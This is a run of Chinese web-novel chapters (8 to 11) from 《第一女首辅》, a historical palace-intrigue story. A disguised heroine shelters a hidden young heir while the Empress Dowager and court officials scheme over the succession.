等他赶到午门之时,其官员也都纷纷着孝衣赶了过来,这场面恍然让他想起那日午门前百官受训,只是,这次没看到程首辅与张阁老。 “听说了吗,程首辅与张阁老入狱了,说是同陛下突然薨逝有关。” “说是陛下于申时初召见过两人。” 秦监判一愣,抬头只见前方两三人边走边窃窃私语,听到这,他默默地往边上走了些,虽说自己平日里同内阁那群人都是公务上的往来,但同六部那边也无甚私交,如今程首辅与张阁老都入狱了,这朝堂上不就是姚尚书说了算了?这可如何是好。 然而也没来得及多想,他们这群臣子便被将士隔到两边,中间开了一条路。 他往后一看,正是珉王携众藩王来了。 珉王一身孝衣,常年带兵在外打仗,身姿挺拔,一股不怒自威之相,让人退避三分。 陛下薨得突然,尚未立储,如今看这阵仗,怕是司马昭之心,路人皆知了。 到了太极殿门口,百官纷纷遵循礼制按规矩一一站定、下跪、叩首,一系列繁文缛节行完后已至午时末了,光禄寺安排除了几位辅政大臣外的臣子在奉天殿偏殿内用午膳,他们个个掩面而泣,一副伤心欲绝之态,唯独工部左侍郎魏正良端坐桌前,自顾自地吃了起来。 他这副事不关己的模样立刻便被人注意到了,便有人站出来指着他骂:“魏阁老,陛下薨逝,你怎这副冷漠的模样,还有心思在这吃,简直大逆不道!不尊圣上!”,说话之人正是先前秦监判口中的探花郎李裕。 听到这,魏正良忍不住笑了起来,他从容地放下筷子,抬头看着李裕,缓缓说道:“第一次听说吃饭还成了大逆不道之事,怎么,以后这天下人都不能吃饭了?” “你!强词夺理!”李裕眼睛直直地瞪着他。 众人都当作笑话看着,没有人站出来帮他说一句。 魏正良理了理衣襟站起来,一步一步走到他面前。 “你....要做什么?”李裕一脸警惕地看着他,说得支支吾吾。 魏正良依旧笑容挂在嘴边,只是拍了拍他肩膀,随后俯身将他桌子上那份吃食端走了,边走边说:“陛下在世之时,尚节俭 8. 宫闱之变(二) 《第一女首辅》全本免费阅读 这些天因为主君与大娘子日夜往返宫中,宅子里的氛围轻松了许多。 谢旻养了几天能下地了之后,就被老管家叫去后院厨房干活。厨娘正在案板上刮着鱼鳞,谢旻见此就想绕道走,她胃里此时翻江倒海,实在闻不得这股鱼腥味,干脆就躲得远些,走进柴房劈柴。 但厨娘再次见到谢旻时也不好意思让她干重活,只是让她择菜、烧火之类的杂活,大部分时间谢旻都是安安静静做在那,她虽不看厨娘,但时时刻刻注意着,比如,厨娘炒完菜后在装盘的时候,喜欢准备两个碗,在切肉的时候,那肉会先被切掉首尾,只取中间那部分。 眼见一道红烧鱼装盘,谢旻自顾自道:“律法规定:‘冬春之交,川泽河泊不入网,以鱼鳖之长。’再过一个月,鱼就要涨价了。” 厨娘听后放下了菜勺,说:“我自然是知道的,你怎么突然说这个?莫非,你是觉得我那鱼汤熬得好喝,怕以后涨价了,就吃不到了是不是?” “是。”谢旻毫不犹豫地回答。 “放心,小子,会有你一口喝的。”厨娘觉着自己的厨艺得到了人的夸奖,心情大好,连带和谢旻说话时嗓门都小了些。 傍晚,谢旻坐在院中门口思索如何将厨娘私下里吃回扣的事情透露给大娘子,不,是透露给主君。 “表哥?”婉儿见她发呆,便用手在她眼前晃了晃。 谢旻回过神,“嗯?” “表哥,这颗糖你吃吧,婉儿早上闻了闻母亲给你熬的药,好苦啊,你下次喝完药,再吃了这颗糖就不苦了。” 谢旻看着眼前的糖,鼻子一酸,嘴角挤出一个笑出来,将糖拿起来最后放进她的荷包里,“表哥不苦,婉儿自己留着吃吧,听话。” 婉儿有些犹豫,又问了一遍,“表哥....真的不吃吗?” 她点头。 婉儿抿着小嘴,似乎是在想些什么,但又不敢说出来,谢旻看出了她的异样,便问:“怎么了?” 婉儿犹豫着踮起脚尖附身在她耳边说了一句话:“表哥,你不吃这糖,那婉儿可以给小世子吃吗,他好可怜,不能回家。” 谢旻听得蹙起了眉头,小世子?哪里来的小世子? “婉儿,告诉表哥,你说的小世子,在哪?” “我告诉你的话,你不能说不出去噢,大娘子不准我和小世子玩,母亲也不准。” “好。” 说完,婉儿便牵着她的手,溜出了门,沿着巷子七拐八拐,最终在一处废旧的仓廪停了下来,这仓廪旁边还长了几株梅树,正发着嫩芽。 婉儿松开谢旻的手,跑到门口,拨开杂草,钻了进去,谢旻见状立马跟了上去,她附身往里一看,只见一个同婉儿差不多大的男孩蜷缩在角落,身着绸衣,但头发凌乱,手里紧紧握着一个馒头,脸有些脏,透着一股不自然的红晕,正瞪着眼睛圆鼓鼓地盯着自己。 一旁的婉儿连忙拉着他的手,安慰他说:“小世子,你别怕,这是我表哥,他不会伤害你的。” 男孩眼睛里的警惕仍然没有消散,还悄悄往婉儿身后躲了躲,婉儿见状顿时有些心急,想要拉他起来,但由于力气小,拉不动,手一滑,猛地摔倒在地。 “婉儿!”谢旻喊了一声,她手忙脚乱地拨开杂草,但衣服却又被一块朽木勾住了。 “表哥,我没事。”她语气有些委屈,看着小世子,眼泪在眶里来回打转。 这一刻,小世子眸子颤了颤,缓缓伸出一只手将婉儿拉了起来。 婉儿这才笑了起来,拉着他的手,走到门口,见状,谢旻立刻将二人抱了出来。 做完这一切,她有些喘,伸手捂住嘴咳嗽了两声,找了一块石头坐了下来。 婉儿松开世子的手,跑上前,乖巧地在她背后一下一下地抚着,就像母亲平时抚自己那样。 “表哥没事。” “对不起,表哥。” 谢旻摇摇头,随后看向面前的小世子,启唇问:“小世子,你为何会弄成这副模样?” 小世子抿着嘴不答。 婉儿便道:“表哥,他家里来了许多坏人,又和姐姐走散了,所以才会变成这样。” 谢旻若有所思地点了点头,婉儿口中所说的坏人,她不知道是怎么回事,但听闻陛下薨逝,她想,其中应该有关联。 想至此处,她四周看了看确保无人后,对小世子道:“你可愿意跟我们走?” 这回小世子有了反应,只见他摇了摇头,随后轻声说:“长姐让我在这里等她。” “什么时候?” “昨晚。”他的声音越来越小,眼睛有气无力地眨了眨,身体摇晃了几下,有些站不稳,就在他要倒下去的时候,谢旻一把扶住了他。 婉儿惊得大叫一声。 谢旻立刻对她做了一个嘘的手势,示意她不要叫,她仔细看了看小世子,发现他身体滚烫,用手摸了摸额头,果然,他发烧了,但自己尚且不能这么明目张胆地带着小世子去大街上找大夫人,于是对婉儿道:“小世子烧得厉害,现在表哥要去找大夫,但是那些坏人在外面,所以现在要你帮个忙。” 婉儿眼里闪着泪光,努力地点了点头。 随后谢旻在她耳边耳语了几句,婉儿立刻就往家的反向跑去。 不一会儿,婉儿怀里抱着衣物跑了回来,两人一同给他换了衣服,随后又将他头发散落下来,谢燕南伸手从婉儿头上拿了一朵珠花,别在小世子头上,随后背着他,一步一步往医馆的方向走去,走了几步后又回头叮嘱婉儿:“婉儿,你快些回去,不要让别人发现。” 婉儿点点头,随后再次往家的方向跑去。 等谢旻背着小世子来到菜市口之时,已近酉时,此时天色昏暗,但仍让能清楚地看到她鼻尖上冒出的一颗颗汗。 背上的小世子身子越发滚烫,再这么烧下去,恐怕脑子都要烧坏,于是她只能咬着牙,快步往前。 恰逢这时,前方十几名锦衣卫正在到处搜捕,街上的人纷纷见状溃散而逃,眼看着就往往自己这边过来了,她心中一紧,立马从左边一处酒肆绕过,步子有些慌乱,还差点被绊倒。 她躲在暗处,一边观察锦衣卫,一边往医馆的方向走,一不小心“嘭!”地一声撞到了一堆叠在一起的木桶。 木桶滚出去好远,她吓得手一松,小世子差点从她背上摔下去。 好在此时大街上已然是一副鸡飞狗跳的场景,锦衣卫并未注意到她这边的动静,但仍在往她这边来。 此时她心都要提到嗓子眼儿,眼看着他们离他越来越近,索性心一沉,小心翼翼往路边走去,努力让自己平复下来,心中只祈祷他们不要认出来小世子。 锦衣卫们持刀阔步朝她走来,谢旻低着头,快步往前走,就在与他们擦肩而过之时,背后传来冷冷的一声:“站住!” 谢旻当即愣在原地,背着小世子的手紧了紧,缓缓转过身,抬起眼眸,三个锦衣卫持刀站在她眼前。 “干什么,如此慌张的模样?” 谢旻喉咙仍不住吞咽了一下,缓缓道:“我家小妹烧得厉害,正在找大夫,若是不信,大人你且摸摸额头,怕再不找大夫治,人都要烧没了。” 其中一名锦衣卫上前探了探她背上的孩子,还没碰到就一股热意传来,于是不耐烦地挥了挥手,示意她快走。 谢旻松了一口气,连忙对他们说了好几声谢谢,说完立刻往前走去,然后没走出去几步,背后又传来一声:“站住!” 谢旻心跳到了嗓子眼,她缓缓回头,却发现叫的并非自己。 “说你呢,干嘛去,大白天地还戴着一个斗笠。” 谢旻瞥了一眼自己身旁的白衣男子,默默移开了脚。 而此时,秦宅西院内,柳姨娘在后门口焦急的等待着。 婉儿刚哭着睡着了,若不是她发现自己给婉儿缝制的荷包里多了一颗糖果,怕是都不会注意旻儿房里多了一件小男孩的衣服,而且那料子根本不是秦府该有的。 最终她一顿逼问下,婉儿才将所有事情和盘脱出,她听完差点昏过去,当即就打了婉儿一巴掌,自己多次告诫她不要同世子来往,可婉儿非不听,如今把旻儿也牵连进去,话说旻儿又怎能如此大胆!满京城都知道世子郡主失踪了,北霁王府已经被锦衣卫包围,旻儿怎能插入皇室之事中,这可如何是好? 若是旻儿遭遇不测,她该如何面对那已逝的姐姐。 若是大娘子回来发现旻儿不在,怕又是一顿毒打,回想上次,顿时心都凉了半截,她立马跪在院子之中,对着上天祈祷着。 然而时间一点一滴地过去了,眼见天色越来越晚,柳姨娘望着那扇后门,依旧紧闭,她当即起身,将睡梦中的婉儿叫醒,乘着四下无人,让她带着自己去世子之前的藏身之所。 等二人走到那处破仓廪之时,依然没有见到谢宴南和世子,柳姨娘顿时心生绝望,既如此,她只能去街上的医馆一家一家地找。 柳姨娘决定先将婉儿送回秦宅,然而就在她转身那一刹那,一把泛着寒光的剑横在她脖颈前,柳姨娘顿时惊得瞳孔放大,刚准备大叫之时,一张明艳而又透着厉色的脸出现在她眼前。 是褚宁郡主。 婉儿被这一幕吓得哇哇大哭,柳姨娘立马捂住她的嘴,将人带到自己的身后。 褚宁郡主朝持剑的徐尤挥了挥手,随后直径走向她们母女。 徐尤会意,将剑收回鞘中。 而柳姨娘浑身战栗,忍不住一步一步往后退,一边退一边支支吾吾地说:“郡....主....”,身后的婉儿哆哆嗦嗦地探出头来,双手紧紧抓住母亲的衣服,泪眼朦胧地看着褚宁郡主,小声地说:“郡主姐姐,小世子发烧了,我表哥带她去找大夫了,你不要生气好不好?婉儿害怕。” 这话一出口,褚宁双眸微微一沉,将视线落在小小的婉儿身上。 她知道这个秦宅三小姐,延儿话不多,但是却经常将这个婉儿挂在嘴边,自己也是见过好几次的,可她口中的表哥又是何许人也? “柳夫人。”褚宁将冰冷的目光对准柳姨娘。 柳姨娘吓得一哆嗦,连忙回道:“是....郡主。” “她所言可真?” “是,小女说的都是真的。” “如何证明?” 柳姨 9. 宫闱之变(三) 《第一女首辅》全本免费阅读 柳姨娘趁着天黑,秘密将人都带回秦府西院,用木栓紧紧栓住了院门。 如今他们都是一条船上的人了。 徐尤会一些医术,确认世子无碍后,准备伸手为谢旻把脉之际,面露慌张的柳姨娘一把挡在面前,说:“旻儿没事!只是累倒了,不必麻烦大人了。” 这话让在场的另外两人都面露疑惑,徐尤收回了手,褚宁郡主见柳姨娘这般惊恐,也没说什么,倒是身旁的婉儿轻声说:“母亲不准别人碰睡着了的表哥。” 柳姨娘一把捂住婉儿的嘴,示意她不要乱说话,紧接着她就带着歉意,拉着婉儿“扑通!”一声跪在郡主面前。 “郡主,奴婢这院子小,今日形势所迫,才将你们都带进来,但天就要亮了,等大娘子回来,必然是会被发现的………” 郡主伸手将她同婉儿扶了起来,“你不必多说,我们定然不会麻烦你,只是,世子,暂且不宜同我们一起,所以…” 柳姨娘有些犹豫,但最终还是点了点头。 “你放心,日后我褚宁定当记住你这份恩情,绝不会忘。”说完,她看了一眼窗外,上前摸了摸世子的脸,眼眸微微闪动着,便挥手示意徐尤该走了。 出门时,柳姨娘像是突然像到什么,夺门而出,立刻跑到即将离去的郡主面前跪下,用祈求的眼神看着她。 褚宁明白她有话对自己说,于是便示意徐尤先走,自己将她扶起,但柳姨娘边抽泣边摇头拒绝,哽咽道:“郡主,若是你们成了,饶秦家上下一次,特别是旻儿,以后不管旻儿犯了什么错,可不可以开恩饶旻儿一命?” 郡主疑惑,这话是何意?但不管是何原因,她侄子冒死救了世子一命,她当然可以答应她的请求。 “你起来吧,我褚宁今日答应便是。” “多谢郡主!多谢郡主!”柳姨娘连磕了好几个头才肯作罢。 褚宁临走时看了一眼这个院落,延儿,等姐姐回来。等姐姐回来,定将那皇位送到你手上,你一定要好好的。 世子藏身于秦宅西苑,他不吵不闹,守着长姐留下的盒子,一天到头也不见得说一句话,即便是婉儿努力逗他,他也只是偶尔点点头亦或者摇头,大多数都是沉默着望向窗外。 柳姨娘怕把这孩子闷坏,但又不能让他出这西院半步,于是便找来几本书给他看,世子拿到书之后,那张小脸终于不再板着了,有时也会说上几个字,大多是‘嗯’、‘好’这类的。 谢旻醒了后,得知郡主将世子藏在这西院,她当即便决定搬到秦府下房去住。以她如今的身份住在一个姨娘院子里,本身就不合适,而且这西院也没有其他多余的房间让给世子住,所以,最好的办法便是她搬去下房。 话虽如此,但柳姨娘又担心她女子身份暴露,于是便将自己仅有的两件首饰拿到当铺给当了,特意去老管家那打点了一番。 老管家也不是个不通情理的人,他念及谢旻身体刚恢复,又是这秦府小娘的侄子,当即就把她给的银两退回去了,随后将靠近西院一间窄小的下房安排给了谢旻,虽说房间小了点,堪堪只放得下一床一桌一柜子,但是不必于他人同住。这对谢旻来说,再好不过了。 这天清晨,谢旻正在收拾行李,说是行李,其实她根本就没有多少可收拾的,不过几件衣物、一盒木盒子,还有陈秀才的赠书。 柳姨娘见她发呆,当即拍了拍她的肩膀,“旻儿,可是想你母亲了?” 谢旻回过神,点了点头,但很快便收起情绪,朝她一笑,道:“我没事,姨母不必担心。” “唉,姨母怎能不担心呢,如今祈求上苍保佑,郡主他们能顺利,如此才好。” “会的。”谢旻道。只要人还活着,就还有机会,她一直都坚信这句话。 “旻儿。”柳姨娘坐在她身旁,拉着她的手,嘱咐道:“今日你从姨母这搬走,虽然还是在这秦府里,但有些事情,姨母就看不到了,大娘子素来对我不喜,婉儿亦未能讨主君欢心,你搬过去后,事事要谨言慎行,做好自己的分内之事,遇事不出头不逾矩,能忍则忍,你可明白?” 谢旻握着簪子的手一紧,想来姨母同婉儿在这府中活得这般小心翼翼,心里就像悬着一块石头,堵得她胸口有些难受,但为了让姨母不担心,她还是点头答应了。 一番嘱托之后,谢旻便抱着包袱跟着老管家去了下房那处住所。 嘉和九年十二月二十六日,天骤晴,帝将葬于杳陵,各皇室宗亲以及百官们聚集在昭德殿内商讨大行选吉之事。 钦天监监正一脸凝重,他低着头,双手朝珉王呈上了一封《观天疏》,随后便退至一旁,沉默不语。 珉王接过折子,打开一看,骤然变了脸色,他双目怒视,死死捏住折子,似乎想要将其撕成齑粉。 原因无它,只因这封《观天疏》上,开头第一句便是:天异,大吕不可大行。 若是皇帝迟迟不下葬,最后让他那小侄子拿着储君册回来了,这一切岂不都是为他人做嫁衣,一切成了白费? 但此时此刻,他不可能违反天意,这是大忌,现下便只有一个法子。 尽快找到世子,将其杀了,以绝后患。 珉王离开后,这场选吉之事,在众人沉默中就此作罢。 事后,秦监判见四下无人之时,走到魏正良身旁,悄悄说道:“下官终不负阁老所托,陛下大行之事要推迟到明年了。” 今日迎春,还有七日便是年关。 当初魏正良正是让他利用职务之便,篡改观象台的《录天簿》。 这《录天簿》原本是要每日呈给监正看的,是监正撰写《观天疏》的主要依据。 魏正良满意地点点头,拍了拍他肩膀,说:“若是事成,定然不会亏待秦大人。” 秦监判笑着摇摇头,双手作揖,坦言道:“下官自身已然是这一辈子都要待在钦天监,仕途无望,光宗耀祖之愿,只寄托在子孙身上,说起来也不怕阁老笑话,家中犬子无能,科考三年未曾中过举,魏阁老出身翰林,又曾多次协同礼部孙大人共同主持科考,所以还望阁老能暗中提点提点小儿,让他以后有个好出路,您看如何?” 魏正良捋着胡须思索了一番,婉言道:“依我朝律法,钦天监承世袭之制,子孙世业,何故科举,秦大人不妨另外再考虑考虑。” 秦监判擦了擦额头上的冷汗,面露为难,“阁老所言甚是,但下官膝下有两子,长子一心扑在科考上,于此无意,下官将命次子承之。” 他话都说到这个份上了,魏正良显然也不好一口回绝,若是他将此事泄露给珉王,反咬自己一口,那这盘局将输得一败涂地,但若就此答应他,又岂非寒了天下读书人的心。 正当他犹豫之时,一个小太监慌慌张张地跑来,在他身旁耳语了几句。 秦监判听不见那小太监在说什么,但是他余光中似乎撇见魏阁老直直地盯着自己,那目光似乎有些怪异。 小太监走后,魏正良脸上再次露出了笑容,这次他眼中没有一丝犹豫,上前拍了拍秦监判的肩膀,力度似乎比方才要大许多,缓缓在他耳边说了一句:“锦衣卫前指挥使徐尤来信,再过五日,沈焕统领的十万西北军将至京郊城外。” 秦监判心一惊,没想到这么快,顿时脑子一热,脱口便是一句:“可有胜算?” 魏正良嘴角勾起,不紧不慢地嘱咐他:“秦大人,可要好生照顾世子啊。”说完,便笑着大步离去。 这一句话如同平地惊雷,震得秦监判有些耳鸣,整个人当即就愣在原地,眼睛瞪得似铜铃般,心里疑惑,但更多的是一阵后怕。 魏阁老这话,是什么意思?何故要我照顾世子? 想至此处,秦监判隐隐觉得脊背发凉,等他回过神,想要追上去问清楚,却已然不见魏阁老身影。他内心慌乱无比,自己从未见过世子,但魏阁老这话,显然不可能有假,他靠着柱子缓缓坐了下来,细细在脑海里回想了一遍。 难不成还是我藏了世子? 对了!藏! 婉儿! 他眼眸一冷,当即就起身回家。 婉儿曾多次同那世子玩在一起,当时他想着若是两个孩子相处久了,日后攀上一门亲事也不是不可以,尽管北霁王府早已没落,但是好歹也是皇亲国戚,婉儿若是嫁进去,于秦家而言,也有个好名声。 珉王派了那么多人都没找到世子,人竟然藏在自己院上,这简直是荒唐至极!难怪方才魏阁老突然态度强硬,原来是笃定了自己不会叛变。若是此时将世子交出去,按照珉王的性子最后也是死路一条,而若是珉王败了,魏阁老同沈焕他们亦不会放过自己。所以,他现在只能毫无二心地站在他们那一边,一起赌。这一局,赌赢了,平步青云,若是输了,他将被株连九族。 秦监判此时觉得自己的脑袋已经悬着了,回宅途中,接连撞到好几个人。 大娘子彼时正在房里督促女儿练习刺绣,见下人来报说主君回来了,当即就迎了出去,哪曾想一见到人就被吓了一大跳。 她从未见过主君如此模样,慌慌张张,满脸严肃,眼里还有露出一丝恨意,如同着了魔一般。 “现下这个时辰,主君不应该在宫里吗?” “滚!”秦监判一掌推开她迎上来的手,跌跌撞撞地往西院走去。 大娘子意识到不对,也跟了上去。 10. 宫闱之变(四) 《第一女首辅》全本免费阅读 嘉和九年,除夕前夜,沈炼带领的十万西北军兵临城下。 此时,皇宫内院安静至极,太后站在嘉和帝灵前默默注视着,一旁的桌子放着一碗汤,脚下跪着一个小小的身影,正是珉王之子。 “嘎吱!”一声,珉王推门而入,寒风瞬间涌进殿内,殿内两排白烛摇曳。 “母后。” 太后并未转过身,她仍然凝视着嘉和帝的灵位。 珉王见她未应,又说了一句:“沈炼来了。” 听到这句,太后眼眸颤了颤,随后让太监将世子带下去,又支开了殿内所有值守的宫人,她才对身后的珉王道:“过来,给先帝上柱香。” 珉王顿时心中一喜,看来母后还是支持自己夺位的,毕竟自己才是她亲生的,皇兄只是养子。 待他毕恭毕敬上完香后,太后将桌子上的汤碗端起,缓缓露出一个笑容,轻声道:“母后等你多时了,这汤是母后亲手为你熬的,快些趁热喝了,驱驱体内的寒气,不要冻着才好。” 珉王有些受宠若惊,连忙接过汤,一饮而尽,喝完忍不住赞叹道:“还是母后熬的汤好喝,儿臣多谢母后!” “你喜欢便好,也不枉母后一片苦心。”不知何时,太后眼里多了一丝冷意。 “是,儿臣定然不会辜负母后期望,今夜之后,儿臣定当好好孝顺母后。” “你有心便好。”太后没再看他,又将视线落回眼前的灵牌上,“去吧。” “是!”珉王得到肯定,心中大喜,“母后便再此安心地等着儿臣的好消息,儿臣告退!” “等等!” 珉王转身,疑惑地看着她,“母后还有何吩咐?” “将程首辅和张阁老放出来。” 珉王不解,未答。 “你常年在外带兵,他们二人再朝中德望颇高,魏阁老还在联名上书,于你继位不利,若是你心中有把握,便以礼相待,以德服人。” 他原本是想等自己举行登基大典之时,再以大赦天下之名将二人放出来,但母后发话,他也不好拒绝,便只得点头答应。 珉王走后,偌大的宫殿只剩太后一人,这一刻她再也忍不住了,腿一软倒在跪垫上,放声痛哭着,“嘉儿,母亲错了,是母亲害死你的,母亲对不起你啊!” 若不是那日自己在嘉儿面前亲手将皇后的画像撕了,嘉儿也不会气得吐血身亡,都是自己作的孽啊。 太后捶着自己的胸口,流着眼泪,但随后又眼神一狠,摇摇晃晃地站起来,指着眼前的灵位怒骂:“我是你母亲就这么见不得人吗?为什么不认我?你向来不肯听我的,当初娶皇后是如此,如今册储君亦是如此!你不想册珉王,母后也从未说过要册珉王,可他的孩子有我母家一半的血脉,册那孩子再好不过了,你为什么就是不听我的!啊?为什么!” “你看你小时候多听话啊!”,她放缓了声音,说着说着,又痛哭起来,儿子没了,没了啊!老天为何如此待我! 于此同时,意气风发的珉王正在等沈炼的回信,若是能不动一兵一卒就降伏沈炼,于他而言,再好不过。若是不成,擒贼先擒王,只要杀了沈炼,后面那十万西北军便即刻溃不成军。如今第一步便是以利诱之,若是沈炼答应了自己给的好处,归降自己,如此便皆大欢喜。 就当珉王得意忘形之际,手下匆匆来报,说那沈炼非但不肯归降,还命人将那封劝降书抄了几千份,将全城各个告示处都贴满了。 “岂有此理!”珉王拍案而起,骂道:“好个沈炼,敬酒不吃吃罚酒,既如此,就休怪本王无情了!”他亲自带人出宫,命令京郊后山蛰伏的八万大军伺机待命,又召集两万军马,手持火把,围于京都城墙,若是沈炼强行攻城,他就来个瓮中捉鳖。 长夜万里无云,几千支火把沿护城墙一一被点燃,顿时整个京都如同白昼般刺眼,珉王负手立于城楼上,死死地盯着城下的沈炼,以及他身后那辆马车。 沈炼一身戎装,年仅半百的他常年守于西北,皮肤粗造,高大威猛,腰间配的剑足足有一米多长,他抬头望了珉王一眼,喊道:“臣沈炼,携储君归京,命其开城门,迎新帝!” 守门的侍卫顿时一慌,他们都看见了世子手中的金匣,有些不知所措。 珉王见此,面露愠色,果然还是叫他们逃脱了,于是他抢过侍卫的弓弩对准城下抱着金匣的世子,但还来不及发射出去,就被一只手拦住。 珉王一转头,只见太后不知何时登上了这城门,而身边的人都已退下,“母后何故来此?此处危险,母后还是回宫去吧。” 太后笑了笑不说话,支开了楼上所有的人,对他道:“若是说母后是因为担心你,你且会信?” 珉王只觉得眼前的母后有些怪异,但还是脱口而出:“母后说的,儿臣自然相信,只是此处危险,母后还是回宫吧。” “哈哈哈哈哈!”太后突然仰天长笑起来,心头涌上一股酸涩又不甘。 为何?嘉儿从不信我?反倒是眼前这个仇人之子毫不犹豫地说相信自己,可笑啊真是可笑!但可惜了,我的儿子死了,你的儿子也别想活着。 太后望着眼前的人,笑得阴狠,暗暗转动拇指上的戒指,从衣袖下射出一枚银针。 珉王当即只觉得腿上一股刺痛传遍全身,饶是个傻子也知道眼前这个太后起了杀心,他不可置信地望着她,面露惊恐,不愿相信自己的母亲竟然会要杀自己。 “为什么!为什么!”珉王用尽最后一丝气力朝她怒吼。 太后冷冷一笑,上前在他耳边轻轻地说了一句:“只因,你是昭敏皇后之子,并非我亲生。” 珉王瞪大了眼睛,满脸不可置信。 太后见他不信,退后了一步,继续说道:“当年,昭敏皇后生你时难产,那时恰逢宁帝出征,一回来便一口咬定是我照顾皇后不周害得皇后难产,从而降罪于我,我何其无辜,还威胁我,若是你若不成活,我的儿子便不得好死。” “你且说说,同样都是龙种,他为何要如此待我,只因我出身低微吗?他于我不仁,我又何须对他怀义,于是我便调换你同嘉儿的身份,嘉儿的皇位原本就是你的,哈哈哈哈哈!” “你……你!”珉王怒火攻心,当即便倒在地上,指着她,捂着胸口。 “我如何?我都是被你父皇逼的!若不是嘉儿膝下无子,而你的儿子又有我刘家一般的血脉,我又如何会将你的孩子接至宫中教养,如今我的嘉儿没了,你也别想活着!” “恶……” “说我恶毒?随你说吧,反正你很快便可以下去同你的亲生母亲团聚了,你死后,手下的兵权将交到的我刘家手上,若不是如此,我何须同你周旋到如今。” “你……”他话没说话,顿时气血上涌,当即就断了气。 太后冷漠地看着他咽气,大手一挥,便下了城楼。 不要怪我,怪就怪在你如此信任我,让你喝什么便喝什么,毫无防备之心,这样的人,如何能成大事。 当太后亲自下令开城门迎新帝之时,众人听见了城楼上传来一声:“来人啊,王爷薨了!” 太后闻此,伤心过度,当即昏倒在城门口。 与此同时,沈炼顺利进京,世子携储君册入住紫禁城。 京都城门一事后,让以吏部尚书姚启为代表的霁王党个个人心惶惶,太后对外宣称抱恙,自此卧床不起,连珉的葬礼都未曾露面。 嘉和帝大行之事全盘交于新帝,但新帝年幼,礼事刚被放出来的程张二人身上。 除夕前一日,张程二人会同郡主以及司礼监商议、从内帑支出一部分钱财给百官分发年关俸禄,这一举措赢得一大批下官们的拥护,珉王党自此逐步涣 11. 公子伴读(上) 《第一女首辅》全本免费阅读 秦监副次子秦览当街打伤了户部侍郎的侄儿,人当场被抓进了官府。 秦监副听闻此事,险些被吓晕了过去,他一个小小的六品官如何能同朝中正三品官员正面冲突,心中大骂这个不孝子。但好歹是自己的儿子,他还是想尽办法捞人,于是便一把从哭天喊地的大娘子手中夺过银子,买通了狱卒,才得以见上秦览一面。 秦览比谢旻大上三岁,不像他那个书呆子长兄一般,每日只知挑灯苦读。他性子活泼,能说会道,但也爱说胡话,为此秦监副每每皆是以棍棒训之,但奈何秦览仗着大娘子的偏袒,从不听训,说话做事更是毫无忌讳。 当老泪纵横又满脸恨铁不成钢的秦监副好不容易在狱中见到自己的儿子之时,却发现他正在狱中酣睡,喊了好几声都不应,还悠闲地翻了个身,气得秦监副摔门而去,嘴里大骂不孝子,边骂边发誓就让他死在牢里,也好落得个家风严谨的名声。 但他刚出府衙,被风那么一吹,转身又拿着藏品去了魏府。 当秦监副一把鼻涕一把泪地向魏正良诉说此事后,魏阁老原本笑呵呵表情也瞬间凝固了几分,面露难色,道:“那户部侍郎李大人与本官同阶,更何况令郎当街打的人,着实有些难办呐。” 秦监副连忙道:“下官只求阁老能让小儿免受牢狱之灾,其他的,下官已然不敢妄想,还求阁老体恤下官作为一个父亲的苦衷。” 魏阁老捋了捋胡须,良久,才开口道:“本官姑且试上一试,你先回去吧。” “多谢阁老!多谢阁老!若是以后阁老还有用得上下官的地方,下官定当在所不辞!” 这秦监副前脚回到家,后脚锦衣卫的人就上了门,他连忙好生招待着,心里不禁感概这魏阁老办事是真快。 锦衣卫的人给秦监副带了一句话:“京都府衙称,七日后午时三刻会审,务必让令郎在公堂上除问答以外,其他不必多言。” 一旁的大娘子一听,当即腿一软,“嘭!”地一声,手中的茶杯摔碎在地上,溅了一地的水。 秦监副当下就黑了脸,朝她一顿训斥,将人赶走后,才缓和了神情,朝着锦衣卫的人陪笑道:“是是是!我一定好生嘱咐小儿让他不要多嘴。”” 那领头的人又道:“郡主念及秦监副护君之恩,特赏赐纹银三百两、斗米两百二十升,缎布五十五匹,藏书二十本。”说完,他挥了挥手,命人将赏赐呈上来。 秦监副看着眼前白花花的银子和精美的布料,受宠若惊,当即就下跪谢恩,却被那人扶住,道:“秦监副不必行此礼,郡主有言,这些赏赐一半要亲自交于柳夫人和三小姐手中。 秦监副一愣,随后才反应过来,当即便叫人将柳姨娘与三小姐请了过来。 柳姨娘看着自己手中的东西,有些惶恐,她是万万不敢收这些赏赐的,更何况,还是从给主君的赏赐里分下一份出来,于是连忙推辞:“奴婢不敢居功,更不敢求赏赐。” “郡主之令,我乃奉命行事。”说完,他们便离开了。 小娘有些为难,这时,秦监副站出来劝解她,“能得郡主的赏赐,是你的荣幸,心里记住郡主的恩情便可。”随即便让两个丫鬟将其中一份赏赐搬到西院。 柳姨娘只能磕头谢恩,随即便带着婉儿下去了。 在回西院途中,柳姨娘似乎是想到了什么,她快步上前追上那两个拿着赏赐的丫鬟,从她们手中接过那十本书籍。丫鬟们不明所以,她连忙找个由头搪塞了过去,说是怕她们两个小姑娘拿不动这些。两个丫鬟心里一暖,步子便走得更快了。 随后柳姨娘又叫住二人,让她们将手里的东西送到主君院子里去,两个丫鬟问:“这是郡主赏赐的,都亲自派人交到小娘您手上,为何还要给主君?” 柳姨娘苦笑一声,摇了摇头,回道:“什么我的还是谁的,以后万万不要再说这样的话,若是有人问起来,你便说这是我为二公子尽的一份心意,快些去吧。” 两个丫鬟面面相视,面露疑惑,但只能听从她的话转身向主君院子方向走去。 见她们二人走后,柳姨娘又低头嘱咐让婉儿回屋,婉儿得了好吃的,自然是听话得很,也不问母亲要去哪里了。 大娘子此时正在房里同自己的大儿子秦照诉苦,一会儿怒骂小儿子不争气,整日就知道捅娄子,一会儿又骂主君脾气臭,动不动就训斥自己,到了最后就是哀怨命不好,嚷嚷着要一头撞死。 秦照身型微胖,长着一仁和之相,对待旁人向来温和有礼,只是多年来只在这秦宅里一心读圣贤书,考了三年又三年,颇有些忧郁且无生气,然而面对母亲近一个时辰的哭诉,饶是他脾气再好,也消磨得一干二净了。 秦监副一走进来便看见他两眼无光,一言不发地端坐在那叹气,转头又看见哭哭啼啼的大娘子,顿时心中一股怒火“蹭!”地就冒了上来,指着她就是一顿训斥:“哭哭哭!整天就知道哭!若不是你平日里不好好教,他能这么放肆!” 大娘子一听,哭得更大声了,面子礼仪全然不顾,“嘭!”地一身掀桌而起,摔碎了瓷片散落一地,红着眼瞪着他,回骂:“儿子是我一个人生出来的?都说子不教父之过,你如今倒怪起我来了!我呸!平日怎么不见你好好教他?” 秦监副见她竟敢这么顶嘴,当即扬起手就要打下去,一旁的秦照连忙上前劝解:“父亲,你怎么还要打母亲,若是传了出去,您如何还见人?” 